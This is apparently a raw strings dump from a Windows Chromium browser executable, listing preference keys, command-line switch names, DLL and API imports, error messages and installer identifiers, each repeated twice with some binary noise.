webkit.webprefs.fonts.standard.Jpan

webkit.webprefs.fonts.standard.Jpan

webkit.webprefs.fonts.fixed.Jpan

webkit.webprefs.fonts.fixed.Jpan

webkit.webprefs.fonts.serif.Jpan

webkit.webprefs.fonts.serif.Jpan

webkit.webprefs.fonts.sansserif.Jpan

webkit.webprefs.fonts.sansserif.Jpan

webkit.webprefs.fonts.standard.Hang

webkit.webprefs.fonts.standard.Hang

webkit.webprefs.fonts.fixed.Hang

webkit.webprefs.fonts.fixed.Hang

webkit.webprefs.fonts.serif.Hang

webkit.webprefs.fonts.serif.Hang

webkit.webprefs.fonts.sansserif.Hang

webkit.webprefs.fonts.sansserif.Hang

webkit.webprefs.fonts.cursive.Hang

webkit.webprefs.fonts.cursive.Hang

webkit.webprefs.fonts.standard.Hans

webkit.webprefs.fonts.standard.Hans

webkit.webprefs.fonts.fixed.Hans

webkit.webprefs.fonts.fixed.Hans

webkit.webprefs.fonts.serif.Hans

webkit.webprefs.fonts.serif.Hans

webkit.webprefs.fonts.sansserif.Hans

webkit.webprefs.fonts.sansserif.Hans

webkit.webprefs.fonts.standard.Hant

webkit.webprefs.fonts.standard.Hant

webkit.webprefs.fonts.fixed.Hant

webkit.webprefs.fonts.fixed.Hant

webkit.webprefs.fonts.serif.Hant

webkit.webprefs.fonts.serif.Hant

webkit.webprefs.fonts.sansserif.Hant

webkit.webprefs.fonts.sansserif.Hant

webkit.webprefs.web_security_enabled

webkit.webprefs.web_security_enabled

webkit.webprefs.dom_paste_enabled

webkit.webprefs.dom_paste_enabled

webkit.webprefs.shrinks_standalone_images_to_fit

webkit.webprefs.shrinks_standalone_images_to_fit

webkit.webprefs.inspector_settings

webkit.webprefs.inspector_settings

webkit.webprefs.uses_universal_detector

webkit.webprefs.uses_universal_detector

webkit.webprefs.text_areas_are_resizable

webkit.webprefs.text_areas_are_resizable

webkit.webprefs.java_enabled

webkit.webprefs.java_enabled

webkit.webprefs.tabs_to_links

webkit.webprefs.tabs_to_links

webkit.webprefs.allow_displaying_insecure_content

webkit.webprefs.allow_displaying_insecure_content

webkit.webprefs.allow_running_insecure_content

webkit.webprefs.allow_running_insecure_content

webkit.webprefs.fonts.standard.Zyyy

webkit.webprefs.fonts.standard.Zyyy

webkit.webprefs.fonts.fixed.Zyyy

webkit.webprefs.fonts.fixed.Zyyy

webkit.webprefs.fonts.serif.Zyyy

webkit.webprefs.fonts.serif.Zyyy

webkit.webprefs.fonts.sansserif.Zyyy

webkit.webprefs.fonts.sansserif.Zyyy

webkit.webprefs.fonts.cursive.Zyyy

webkit.webprefs.fonts.cursive.Zyyy

webkit.webprefs.fonts.fantasy.Zyyy

webkit.webprefs.fonts.fantasy.Zyyy

webkit.webprefs.fonts.pictograph.Zyyy

webkit.webprefs.fonts.pictograph.Zyyy

webkit.webprefs.default_font_size

webkit.webprefs.default_font_size

webkit.webprefs.default_fixed_font_size

webkit.webprefs.default_fixed_font_size

webkit.webprefs.minimum_font_size

webkit.webprefs.minimum_font_size

webkit.webprefs.minimum_logical_font_size

webkit.webprefs.minimum_logical_font_size

webkit.webprefs.javascript_enabled

webkit.webprefs.javascript_enabled

webkit.webprefs.javascript_can_open_windows_automatically

webkit.webprefs.javascript_can_open_windows_automatically

webkit.webprefs.loads_images_automatically

webkit.webprefs.loads_images_automatically

webkit.webprefs.plugins_enabled

webkit.webprefs.plugins_enabled

bookmark_bar.show_on_all_tabs

bookmark_bar.show_on_all_tabs

bookmark_bar.show_apps_shortcut

bookmark_bar.show_apps_shortcut

bookmark_editor.expanded_nodes

bookmark_editor.expanded_nodes

password_generation.enabled

password_generation.enabled

profile.password_manager_enabled

profile.password_manager_enabled

profile.password_manager_allow_show_passwords

profile.password_manager_allow_show_passwords

autologin.enabled

autologin.enabled

reverse_autologin.enabled

reverse_autologin.enabled

reverse_autologin.rejected_email_list

reverse_autologin.rejected_email_list

safebrowsing.enabled

safebrowsing.enabled

safebrowsing.reporting_enabled

safebrowsing.reporting_enabled

safebrowsing.proceed_anyway_disabled

safebrowsing.proceed_anyway_disabled

incognito.mode_availability

incognito.mode_availability

search.suggest_enabled

search.suggest_enabled

browser.confirm_to_quit

browser.confirm_to_quit

security.cookie_behavior

security.cookie_behavior

default_search_provider.synced_guid

default_search_provider.synced_guid

default_search_provider.enabled

default_search_provider.enabled

default_search_provider.search_url

default_search_provider.search_url

default_search_provider.suggest_url

default_search_provider.suggest_url

default_search_provider.instant_url

default_search_provider.instant_url

default_search_provider.icon_url

default_search_provider.icon_url

default_search_provider.encodings

default_search_provider.encodings

default_search_provider.name

default_search_provider.name

default_search_provider.keyword

default_search_provider.keyword

default_search_provider.id

default_search_provider.id

default_search_provider.prepopulate_id

default_search_provider.prepopulate_id

default_search_provider.alternate_urls

default_search_provider.alternate_urls

default_search_provider.search_terms_replacement_key

default_search_provider.search_terms_replacement_key

download.prompt_for_download

download.prompt_for_download

alternate_error_pages.enabled

alternate_error_pages.enabled

dns_prefetching.startup_list

dns_prefetching.startup_list

dns_prefetching.host_referral_list

dns_prefetching.host_referral_list

spdy.disabled

spdy.disabled

net.http_server_properties

net.http_server_properties

spdy.servers

spdy.servers

spdy.alternate_protocol

spdy.alternate_protocol

protocol.disabled_schemes

protocol.disabled_schemes

policy.url_blacklist

policy.url_blacklist

policy.url_whitelist

policy.url_whitelist

instant_ui.zero_suggest_url_prefix

instant_ui.zero_suggest_url_prefix

local_state.multiple_profile_prefs_version

local_state.multiple_profile_prefs_version

dns_prefetching.enabled

dns_prefetching.enabled

hide_web_store_icon

hide_web_store_icon

browser.show_home_button

browser.show_home_button

profile.recently_selected_encodings

profile.recently_selected_encodings

browser.clear_data.browsing_history

browser.clear_data.browsing_history

browser.clear_data.download_history

browser.clear_data.download_history

browser.clear_data.cache

browser.clear_data.cache

browser.clear_data.cookies

browser.clear_data.cookies

browser.clear_data.passwords

browser.clear_data.passwords

browser.clear_data.form_data

browser.clear_data.form_data

browser.clear_data.hosted_apps_data

browser.clear_data.hosted_apps_data

browser.clear_data.content_licenses

browser.clear_data.content_licenses

browser.clear_data.time_period

browser.clear_data.time_period

browser.last_clear_browsing_data_time

browser.last_clear_browsing_data_time

browser.enable_spellchecking

browser.enable_spellchecking

browser.enabled_labs_experiments

browser.enabled_labs_experiments

browser.enable_autospellcorrect

browser.enable_autospellcorrect

browser.speechinput_censor_results

browser.speechinput_censor_results

browser.speechinput_tray_notification_shown_contexts

browser.speechinput_tray_notification_shown_contexts

history.saving_disabled

history.saving_disabled

history.deleting_enabled

history.deleting_enabled

settings.force_safesearch

settings.force_safesearch

extensions.theme.pack

extensions.theme.pack

extensions.theme.id

extensions.theme.id

extensions.theme.images

extensions.theme.images

extensions.theme.colors

extensions.theme.colors

extensions.theme.tints

extensions.theme.tints

extensions.theme.properties

extensions.theme.properties

extensions.ui.developer_mode

extensions.ui.developer_mode

extensions.toolbarsize

extensions.toolbarsize

extensions.toolbar

extensions.toolbar

extensions.commands

extensions.commands

plugins.last_internal_directory

plugins.last_internal_directory

plugins.plugins_list

plugins.plugins_list

plugins.plugins_disabled

plugins.plugins_disabled

plugins.plugins_disabled_exceptions

plugins.plugins_disabled_exceptions

plugins.plugins_enabled

plugins.plugins_enabled

plugins.migrated_to_pepper_flash

plugins.migrated_to_pepper_flash

plugins.removed_old_component_pepper_flash_settings

plugins.removed_old_component_pepper_flash_settings

plugins.show_details

plugins.show_details

plugins.allow_outdated

plugins.allow_outdated

plugins.always_authorize

plugins.always_authorize

plugins.metadata

plugins.metadata

plugins.resource_cache_update

plugins.resource_cache_update

browser.check_default_browser

browser.check_default_browser

browser.suppress_switch_to_metro_mode_on_set_default

browser.suppress_switch_to_metro_mode_on_set_default

browser.default_browser_setting_enabled

browser.default_browser_setting_enabled

browser.custom_chrome_frame

browser.custom_chrome_frame

browser.desktop_notification_position

browser.desktop_notification_position

profile.default_content_settings

profile.default_content_settings

profile.content_settings.clear_on_exit_migrated

profile.content_settings.clear_on_exit_migrated

profile.content_settings.pref_version

profile.content_settings.pref_version

profile.content_settings.pattern_pairs

profile.content_settings.pattern_pairs

profile.content_settings.whitelist_version

profile.content_settings.whitelist_version

profile.content_settings.plugin_whitelist

profile.content_settings.plugin_whitelist

profile.block_third_party_cookies

profile.block_third_party_cookies

profile.clear_site_data_on_exit

profile.clear_site_data_on_exit

profile.default_zoom_level

profile.default_zoom_level

profile.per_host_zoom_levels

profile.per_host_zoom_levels

autofill.data_model_default

autofill.data_model_default

autofill.has_paid_with_wallet

autofill.has_paid_with_wallet

autofill.pay_without_wallet

autofill.pay_without_wallet

autofill.show_count

autofill.show_count

autofill.generated_card_bubble_times_shown

autofill.generated_card_bubble_times_shown

bookmarks.editing_enabled

bookmarks.editing_enabled

translate.enabled

translate.enabled

googlegeolocationaccess.enabled

googlegeolocationaccess.enabled

media.default_audio_capture_device

media.default_audio_capture_device

media.default_video_capture_Device

media.default_video_capture_Device

import_saved_passwords

import_saved_passwords

profile.avatar_index

profile.avatar_index

profile.name

profile.name

profile.is_managed

profile.is_managed

printing.enabled

printing.enabled

printing.print_preview_disabled

printing.print_preview_disabled

profile.managed.default_filtering_behavior

profile.managed.default_filtering_behavior

profile.managed_user_creation_allowed

profile.managed_user_creation_allowed

profile.managed_users

profile.managed_users

message_center.disabled_extension_ids

message_center.disabled_extension_ids

message_center.disabled_system_component_ids

message_center.disabled_system_component_ids

message_center.enabled_sync_notifier_ids

message_center.enabled_sync_notifier_ids

profile.last_used

profile.last_used

profile.last_active_profiles

profile.last_active_profiles

profile.profiles_created

profile.profiles_created

profile.created_by_version

profile.created_by_version

profile.info_cache

profile.info_cache

ssl.rev_checking.enabled

ssl.rev_checking.enabled

ssl.version_min

ssl.version_min

ssl.version_max

ssl.version_max

ssl.cipher_suites.blacklist

ssl.cipher_suites.blacklist

ssl.origin_bound_certs.enabled

ssl.origin_bound_certs.enabled

ssl.ssl_record_splitting.disabled

ssl.ssl_record_splitting.disabled

ssl.unrestricted_ssl3_fallback.enabled

ssl.unrestricted_ssl3_fallback.enabled

user_experience_metrics.client_id

user_experience_metrics.client_id

user_experience_metrics.session_id

user_experience_metrics.session_id

user_experience_metrics.low_entropy_source

user_experience_metrics.low_entropy_source

user_experience_metrics.permuted_entropy_cache

user_experience_metrics.permuted_entropy_cache

user_experience_metrics.client_id_timestamp

user_experience_metrics.client_id_timestamp

user_experience_metrics.reporting_enabled

user_experience_metrics.reporting_enabled

user_experience_metrics.initial_logs_as_protobufs

user_experience_metrics.initial_logs_as_protobufs

user_experience_metrics.ongoing_logs_as_protobufs

user_experience_metrics.ongoing_logs_as_protobufs

user_experience_metrics.stability.exited_cleanly

user_experience_metrics.stability.exited_cleanly

user_experience_metrics.stability.stats_version

user_experience_metrics.stability.stats_version

user_experience_metrics.stability.stats_buildtime

user_experience_metrics.stability.stats_buildtime

user_experience_metrics.stability.session_end_completed

user_experience_metrics.stability.session_end_completed

user_experience_metrics.stability.launch_count

user_experience_metrics.stability.launch_count

user_experience_metrics.stability.crash_count

user_experience_metrics.stability.crash_count

user_experience_metrics.stability.incomplete_session_end_count

user_experience_metrics.stability.incomplete_session_end_count

user_experience_metrics.stability.page_load_count

user_experience_metrics.stability.page_load_count

user_experience_metrics.stability.renderer_crash_count

user_experience_metrics.stability.renderer_crash_count

user_experience_metrics.stability.launch_time_sec

user_experience_metrics.stability.launch_time_sec

user_experience_metrics.stability.extension_renderer_crash_count

user_experience_metrics.stability.extension_renderer_crash_count

user_experience_metrics.stability.last_timestamp_sec

user_experience_metrics.stability.last_timestamp_sec

user_experience_metrics.stability.plugin_stats2

user_experience_metrics.stability.plugin_stats2

user_experience_metrics.stability.renderer_hang_count

user_experience_metrics.stability.renderer_hang_count

user_experience_metrics.stability.child_process_crash_count

user_experience_metrics.stability.child_process_crash_count

user_experience_metrics.stability.other_user_crash_count

user_experience_metrics.stability.other_user_crash_count

user_experience_metrics.stability.kernel_crash_count

user_experience_metrics.stability.kernel_crash_count

user_experience_metrics.stability.system_unclean_shutdowns

user_experience_metrics.stability.system_unclean_shutdowns

user_experience_metrics.stability.breakpad_registration_ok

user_experience_metrics.stability.breakpad_registration_ok

user_experience_metrics.stability.breakpad_registration_fail

user_experience_metrics.stability.breakpad_registration_fail

user_experience_metrics.stability.debugger_present

user_experience_metrics.stability.debugger_present

user_experience_metrics.stability.debugger_not_present

user_experience_metrics.stability.debugger_not_present

uninstall_metrics.installation_date2

uninstall_metrics.installation_date2

uninstall_metrics.page_load_count

uninstall_metrics.page_load_count

uninstall_metrics.launch_count

uninstall_metrics.launch_count

uninstall_metrics.uptime_sec

uninstall_metrics.uptime_sec

uninstall_metrics.last_launch_time_sec

uninstall_metrics.last_launch_time_sec

uninstall_metrics.last_observed_running_time_sec

uninstall_metrics.last_observed_running_time_sec

browser.suppress_default_browser_prompt_for_version

browser.suppress_default_browser_prompt_for_version

browser.window_placement

browser.window_placement

task_manager.window_placement

task_manager.window_placement

keyword_editor.window_placement

keyword_editor.window_placement

preferences.window_placement

preferences.window_placement

renderer.memory_cache.size

renderer.memory_cache.size

download.default_directory

download.default_directory

download.directory_upgrade

download.directory_upgrade

savefile.default_directory

savefile.default_directory

savefile.type

savefile.type

selectfile.last_directory

selectfile.last_directory

select_file_dialogs.allowed

select_file_dialogs.allowed

filebrowser.tasks.default_by_mime_type

filebrowser.tasks.default_by_mime_type

filebrowser.tasks.default_by_suffix

filebrowser.tasks.default_by_suffix

download.extensions_to_open

download.extensions_to_open

browser.hung_plugin_detect_freq

browser.hung_plugin_detect_freq

browser.plugin_message_response_timeout

browser.plugin_message_response_timeout

spellcheck.dictionary

spellcheck.dictionary

spellcheck.confirm_dialog_shown

spellcheck.confirm_dialog_shown

spellcheck.use_spelling_service

spellcheck.use_spelling_service

protocol_handler.excluded_schemes

protocol_handler.excluded_schemes

safe_browsing.client_key

safe_browsing.client_key

safe_browsing.wrapped_key

safe_browsing.wrapped_key

options_window.last_tab_index

options_window.last_tab_index

content_settings_window.last_tab_index

content_settings_window.last_tab_index

certificate_manager_window.last_tab_index

certificate_manager_window.last_tab_index

browser.last_known_google_url

browser.last_known_google_url

browser.last_prompted_google_url

browser.last_prompted_google_url

browser.last_redirect_origin

browser.last_redirect_origin

shutdown.type

shutdown.type

shutdown.num_processes

shutdown.num_processes

shutdown.num_processes_slow

shutdown.num_processes_slow

restart.last.session.on.shutdown

restart.last.session.on.shutdown

was.restarted

was.restarted

restart.switch_mode

restart.switch_mode

extensions.disabled

extensions.disabled

plugins.disable_plugin_finder

plugins.disable_plugin_finder

extensions.browseractions.container.width

extensions.browseractions.container.width

extensions.autoupdate.last_check

extensions.autoupdate.last_check

extensions.autoupdate.next_check

extensions.autoupdate.next_check

extensions.alerts.initialized

extensions.alerts.initialized

extensions.allowed_install_sites

extensions.allowed_install_sites

extensions.allowed_types

extensions.allowed_types

extensions.blacklistupdate.version

extensions.blacklistupdate.version

extensions.install.allowlist

extensions.install.allowlist

extensions.install.denylist

extensions.install.denylist

extensions.install.forcelist

extensions.install.forcelist

extensions.storage.garbagecollect

extensions.storage.garbagecollect

ntp.collapsed_foreign_sessions

ntp.collapsed_foreign_sessions

ntp.most_visited_blacklist

ntp.most_visited_blacklist

ntp.promo_resource_cache_update

ntp.promo_resource_cache_update

ntp.tips_resource_server

ntp.tips_resource_server

ntp.date_resource_server

ntp.date_resource_server

ntp.shown_bookmarks_folder

ntp.shown_bookmarks_folder

ntp.shown_page

ntp.shown_page

ntp.promo_desktop_session_found

ntp.promo_desktop_session_found

ntp.webstore_enabled

ntp.webstore_enabled

ntp.app_page_names

ntp.app_page_names

devtools.adb_key

devtools.adb_key

devtools.disabled

devtools.disabled

devtools.dock_side

devtools.dock_side

devtools.edited_files

devtools.edited_files

devtools.file_system_paths

devtools.file_system_paths

devtools.split_location

devtools.split_location

devtools.open_docked

devtools.open_docked

signin.allowed

signin.allowed

sync.last_synced_time

sync.last_synced_time

sync.has_setup_completed

sync.has_setup_completed

sync.keep_everything_synced

sync.keep_everything_synced

sync.app_notifications

sync.app_notifications

sync.app_settings

sync.app_settings

sync.apps

sync.apps

sync.autofill_profile

sync.autofill_profile

sync.autofill

sync.autofill

sync.bookmarks

sync.bookmarks

sync.dictionary

sync.dictionary

sync.extension_settings

sync.extension_settings

sync.extensions

sync.extensions

sync.favicon_images

sync.favicon_images

sync.favicon_tracking

sync.favicon_tracking

sync.history_delete_directives

sync.history_delete_directives

sync.managed_user_settings

sync.managed_user_settings

sync.managed_users

sync.managed_users

sync.passwords

sync.passwords

sync.preferences

sync.preferences

sync.priority_preferences

sync.priority_preferences

sync.search_engines

sync.search_engines

sync.sessions

sync.sessions

sync.synced_notifications

sync.synced_notifications

sync.tabs

sync.tabs

sync.themes

sync.themes

sync.typed_urls

sync.typed_urls

sync.managed

sync.managed

sync.suppress_start

sync.suppress_start

sync.acknowledged_types

sync.acknowledged_types

sync.max_invalidation_versions

sync.max_invalidation_versions

sync.session_sync_guid

sync.session_sync_guid

invalidator.client_id

invalidator.client_id

invalidator.invalidation_state

invalidator.invalidation_state

invalidator.max_invalidation_versions

invalidator.max_invalidation_versions

sync.encryption_bootstrap_token

sync.encryption_bootstrap_token

sync.keystore_encryption_bootstrap_token

sync.keystore_encryption_bootstrap_token

sync.using_secondary_passphrase

sync.using_secondary_passphrase

google.services.last_username

google.services.last_username

google.services.username

google.services.username

google.services.username_pattern

google.services.username_pattern

sync_promo.startup_count

sync_promo.startup_count

sync_promo.user_skipped

sync_promo.user_skipped

sync_promo.show_on_first_run_allowed

sync_promo.show_on_first_run_allowed

sync_promo.show_ntp_bubble

sync_promo.show_ntp_bubble

sync_promo.error_message

sync_promo.error_message

profile.gaia_info_update_time

profile.gaia_info_update_time

profile.gaia_info_picture_url

profile.gaia_info_picture_url

browser.web_app.create_on_desktop

browser.web_app.create_on_desktop

browser.web_app.create_in_apps_menu

browser.web_app.create_in_apps_menu

browser.web_app.create_in_quick_launch_bar

browser.web_app.create_in_quick_launch_bar

geolocation.access_token

geolocation.access_token

remote_access.host_firewall_traversal

remote_access.host_firewall_traversal

remote_access.host_require_two_factor

remote_access.host_require_two_factor

remote_access.host_domain

remote_access.host_domain

remote_access.host_talkgadget_prefix

remote_access.host_talkgadget_prefix

remote_access.host_require_curtain

remote_access.host_require_curtain

printing.print_preview_sticky_settings

printing.print_preview_sticky_settings

cloud_print.service_url

cloud_print.service_url

cloud_print.signin_url

cloud_print.signin_url

cloud_print.dialog_size.width

cloud_print.dialog_size.width

cloud_print.dialog_size.height

cloud_print.dialog_size.height

cloud_print.signin_dialog_size.width

cloud_print.signin_dialog_size.width

cloud_print.signin_dialog_size.height

cloud_print.signin_dialog_size.height

background_contents.registered

background_contents.registered

browser.shown_autolaunch_infobar

browser.shown_autolaunch_infobar

auth.schemes

auth.schemes

auth.disable_negotiate_cname_lookup

auth.disable_negotiate_cname_lookup

auth.enable_negotiate_port

auth.enable_negotiate_port

auth.server_whitelist

auth.server_whitelist

auth.negotiate_delegate_whitelist

auth.negotiate_delegate_whitelist

auth.gssapi_library_name

auth.gssapi_library_name

auth.spdyproxy.origin

auth.spdyproxy.origin

auth.allow_cross_origin_prompt

auth.allow_cross_origin_prompt

async_dns.enabled

async_dns.enabled

http_received_content_length

http_received_content_length

http_original_content_length

http_original_content_length

hardware.audio_capture_enabled

hardware.audio_capture_enabled

hardware.audio_capture_allowed_urls

hardware.audio_capture_allowed_urls

hardware.video_capture_enabled

hardware.video_capture_enabled

hardware.video_capture_allowed_urls

hardware.video_capture_allowed_urls

browser.clear_lso_data_enabled

browser.clear_lso_data_enabled

browser.pepper_flash_settings_enabled

browser.pepper_flash_settings_enabled

browser.disk_cache_dir

browser.disk_cache_dir

browser.disk_cache_size

browser.disk_cache_size

browser.media_cache_size

browser.media_cache_size

cros.system.releaseChannel

cros.system.releaseChannel

policy.disable_cloud_policy_on_signin

policy.disable_cloud_policy_on_signin

message_center.showed_first_run_balloon

message_center.showed_first_run_balloon

cloud_print.enabled

cloud_print.enabled

cloud_print.proxy_id

cloud_print.proxy_id

cloud_print.auth_token

cloud_print.auth_token

cloud_print.xmpp_auth_token

cloud_print.xmpp_auth_token

cloud_print.email

cloud_print.email

cloud_print.print_system_settings

cloud_print.print_system_settings

cloud_print.enable_job_poll

cloud_print.enable_job_poll

cloud_print.robot_refresh_token

cloud_print.robot_refresh_token

cloud_print.robot_email

cloud_print.robot_email

cloud_print.user_settings.connectNewPrinters

cloud_print.user_settings.connectNewPrinters

cloud_print.xmpp_ping_enabled

cloud_print.xmpp_ping_enabled

cloud_print.xmpp_ping_timeout_sec

cloud_print.xmpp_ping_timeout_sec

cloud_print.user_settings

cloud_print.user_settings

cloud_print.user_settings.printers

cloud_print.user_settings.printers

cloud_print.submit_enabled

cloud_print.submit_enabled

net.max_connections_per_proxy

net.max_connections_per_proxy

profile.managed_default_content_settings.cookies

profile.managed_default_content_settings.cookies

profile.managed_default_content_settings.images

profile.managed_default_content_settings.images

profile.managed_default_content_settings.javascript

profile.managed_default_content_settings.javascript

profile.managed_default_content_settings.plugins

profile.managed_default_content_settings.plugins

profile.managed_default_content_settings.popups

profile.managed_default_content_settings.popups

profile.managed_default_content_settings.geolocation

profile.managed_default_content_settings.geolocation

profile.managed_default_content_settings.notifications

profile.managed_default_content_settings.notifications

profile.managed_default_content_settings.media_stream

profile.managed_default_content_settings.media_stream

profile.managed_cookies_allowed_for_urls

profile.managed_cookies_allowed_for_urls

profile.managed_cookies_blocked_for_urls

profile.managed_cookies_blocked_for_urls

profile.managed_cookies_sessiononly_for_urls

profile.managed_cookies_sessiononly_for_urls

profile.managed_images_allowed_for_urls

profile.managed_images_allowed_for_urls

profile.managed_images_blocked_for_urls

profile.managed_images_blocked_for_urls

profile.managed_javascript_allowed_for_urls

profile.managed_javascript_allowed_for_urls

profile.managed_javascript_blocked_for_urls

profile.managed_javascript_blocked_for_urls

profile.managed_plugins_allowed_for_urls

profile.managed_plugins_allowed_for_urls

profile.managed_plugins_blocked_for_urls

profile.managed_plugins_blocked_for_urls

profile.managed_popups_allowed_for_urls

profile.managed_popups_allowed_for_urls

profile.managed_popups_blocked_for_urls

profile.managed_popups_blocked_for_urls

profile.managed_notifications_allowed_for_urls

profile.managed_notifications_allowed_for_urls

profile.managed_notifications_blocked_for_urls

profile.managed_notifications_blocked_for_urls

profile.managed_auto_select_certificate_for_urls

profile.managed_auto_select_certificate_for_urls

background_mode.enabled

background_mode.enabled

hardware_acceleration_mode.enabled

hardware_acceleration_mode.enabled

custom_handlers.registered_protocol_handlers

custom_handlers.registered_protocol_handlers

custom_handlers.ignored_protocol_handlers

custom_handlers.ignored_protocol_handlers

custom_handlers.enabled

custom_handlers.enabled

policy.device_refresh_rate

policy.device_refresh_rate

policy.user_refresh_rate

policy.user_refresh_rate

recovery_component.version

recovery_component.version

component_updater.state

component_updater.state

media_galleries.gallery_id

media_galleries.gallery_id

media_galleries.remembered_galleries

media_galleries.remembered_galleries

network_profile.warnings_left

network_profile.warnings_left

network_profile.last_warning_time

network_profile.last_warning_time

policy.last_statistics_update

policy.last_statistics_update

app_list.profile

app_list.profile

app_list.show_on_relaunch

app_list.show_on_relaunch

app_list.launch_count

app_list.launch_count

app_list.last_launch_ping

app_list.last_launch_ping

app_list.app_launch_count

app_list.app_launch_count

app_list.last_app_launch_ping

app_list.last_app_launch_ping

module_conflict.bubble_shown

module_conflict.bubble_shown

settings.privacy.drm_salt

settings.privacy.drm_salt

settings.privacy.drm_enabled

settings.privacy.drm_enabled

nacl-loader-cmd-prefix

nacl-loader-cmd-prefix

allow-webui-compositing

allow-webui-compositing

disable-webgl

disable-webgl

blacklist-webgl

blacklist-webgl

disable-image-transport-surface

disable-image-transport-surface

speech-service-key

speech-service-key

disable-webaudio

disable-webaudio

enable-webrtc-aec-recordings

enable-webrtc-aec-recordings

enable-webrtc-tcp-server-socket

enable-webrtc-tcp-server-socket

enable-webrtc-hw-decoding

enable-webrtc-hw-decoding

enable-web-animations-css

enable-web-animations-css

enable-web-animations-svg

enable-web-animations-svg

enable-web-midi

enable-web-midi

disable-web-security

disable-web-security

enable-experimental-websocket

enable-experimental-websocket

enable-experimental-web-platform-features

enable-experimental-web-platform-features

disable-webkit-media-source

disable-webkit-media-source

enable-privileged-webgl-extensions

enable-privileged-webgl-extensions

enable-tcp-fastopen

enable-tcp-fastopen

enable-viewport

enable-viewport

ignore-certificate-errors

ignore-certificate-errors

remote-debugging-port

remote-debugging-port

renderer-cmd-prefix

renderer-cmd-prefix

enable-vtune-support

enable-vtune-support

testing-fixed-http-port

testing-fixed-http-port

testing-fixed-https-port

testing-fixed-https-port

utility-cmd-prefix

utility-cmd-prefix

webcore-log-channels

webcore-log-channels

zygote-cmd-prefix

zygote-cmd-prefix

enable-webgl-draft-extensions

enable-webgl-draft-extensions

Visual C CRT: Not enough memory to complete call to strerror.

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Broken pipe

Inappropriate I/O control operation

Inappropriate I/O control operation

Operation not permitted

Operation not permitted

portuguese-brazilian

portuguese-brazilian

GetProcessWindowStation

GetProcessWindowStation

operator

operator

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

user.js

user.js

full-memory-crash-report

full-memory-crash-report

CHROME_PROFILER_TIME

CHROME_PROFILER_TIME

%s-%Iu

%s-%Iu

ERROR_REPORT

ERROR_REPORT

metro_driver.dll

metro_driver.dll

user32.dll

user32.dll

GetInitialUrl

GetInitialUrl

PlatformFile.UnknownErrors.Windows

PlatformFile.UnknownErrors.Windows

0123456789

0123456789

Dictionary keys must be quoted.

Dictionary keys must be quoted.

Unsupported encoding. JSON must be UTF-8.

Unsupported encoding. JSON must be UTF-8.

.thunks

.thunks

.syzygy

.syzygy

Histogram: %s recorded %d samples

Histogram: %s recorded %d samples

(flags = 0x%x)

(flags = 0x%x)

\uX

\uX

Line: %i, column: %i, %s

Line: %i, column: %i, %s

(%d = %3.1f%%)

(%d = %3.1f%%)

C:\b\build\slave\win\build\src\build\Release\chrome.exe.pdb

C:\b\build\slave\win\build\src\build\Release\chrome.exe.pdb

ShellExecuteExA

ShellExecuteExA

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

USERENV.dll

USERENV.dll

WTSAPI32.dll

WTSAPI32.dll

VERSION.dll

VERSION.dll

WINMM.dll

WINMM.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CreateIoCompletionPort

CreateIoCompletionPort

WaitNamedPipeW

WaitNamedPipeW

TransactNamedPipe

TransactNamedPipe

SetNamedPipeHandleState

SetNamedPipeHandleState

GetProcessHandleCount

GetProcessHandleCount

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

RegOpenKeyExW

RegOpenKeyExW

RegCloseKey

RegCloseKey

RegCreateKeyExW

RegCreateKeyExW

RegQueryInfoKeyW

RegQueryInfoKeyW

RegEnumKeyExW

RegEnumKeyExW

ADVAPI32.dll

ADVAPI32.dll

CloseWindowStation

CloseWindowStation

CreateWindowStationW

CreateWindowStationW

SetProcessWindowStation

SetProcessWindowStation

chrome.exe

chrome.exe

SetActiveURL

SetActiveURL

SetCrashKeyValuePair

SetCrashKeyValuePair

zcÁ

zcÁ

#$( ....6/6////. )

#$( ....6/6////. )

2( ..////6//6

2( ..////6//6

( /.///6////

( /.///6////

(//.//6///.`

(//.//6///.`

55;;/?

55;;/?

55;;>;>/

55;;>;>/

)^%x>

)^%x>

@DQSSSSSQLLHHGG?332200--'

@DQSSSSSQLLHHGG?332200--'

BDRSSSSQLLPHH??332000-7.

BDRSSSSQLLPHH??332000-7.

6%%%%#%###!!

6%%%%#%###!!

122200.- *('%

122200.- *('%

35955220.- ('$

35955220.- ('$

79::995420.-*(&

79::995420.-*(&

|(==7:89?

|(==7:89?

ÞDDDCA)

ÞDDDCA)

K%8xHQ

K%8xHQ

R.RKi)

R.RKi)

9;:)

9;:)

5!5'5 50575

5!5'5 50575

> >$>(>,>0>4>

> >$>(>,>0>4>

0#3'3 3/33373;3?3

0#3'3 3/33373;3?3

: :$:(:,:0:

: :$:(:,:0:

= =$=(=,=0=

= =$=(=,=0=

>$>@>`>|>

>$>@>`>|>

\\.\pipe\GoogleCrashServices\

\\.\pipe\GoogleCrashServices\

\\.\pipe\ChromeCrashServices

\\.\pipe\ChromeCrashServices

ntdll.dll

ntdll.dll

error %u

error %u

unspecified-crash-key

unspecified-crash-key

hurl-chunk-%i

hurl-chunk-%i

prn-info-%d

prn-info-%d

registering_chrome

registering_chrome

echrmstp.exe

echrmstp.exe

app_host.exe

app_host.exe

chrome.dll

chrome.dll

chrome_child.dll

chrome_child.dll

npchrome_frame.dll

npchrome_frame.dll

chrome_frame_helper.exe

chrome_frame_helper.exe

ChromeFrameHelperWindowClass

ChromeFrameHelperWindowClass

ChromeFrameReadyMode

ChromeFrameReadyMode

chrome_launcher.exe

chrome_launcher.exe

new_chrome.exe

new_chrome.exe

old_chrome.exe

old_chrome.exe

delegate_execute.exe

delegate_execute.exe

nacl64.exe

nacl64.exe

setup.exe

setup.exe

InstallerSuccessLaunchCmdLine

InstallerSuccessLaunchCmdLine

{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}

{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}

{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}

{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}

Browse the web

Browse the web

Software\Microsoft\Windows\CurrentVersion\Uninstall\Chromium

Software\Microsoft\Windows\CurrentVersion\Uninstall\Chromium

{8A69D345-D564-463C-AFF1-A69D9E530F96}

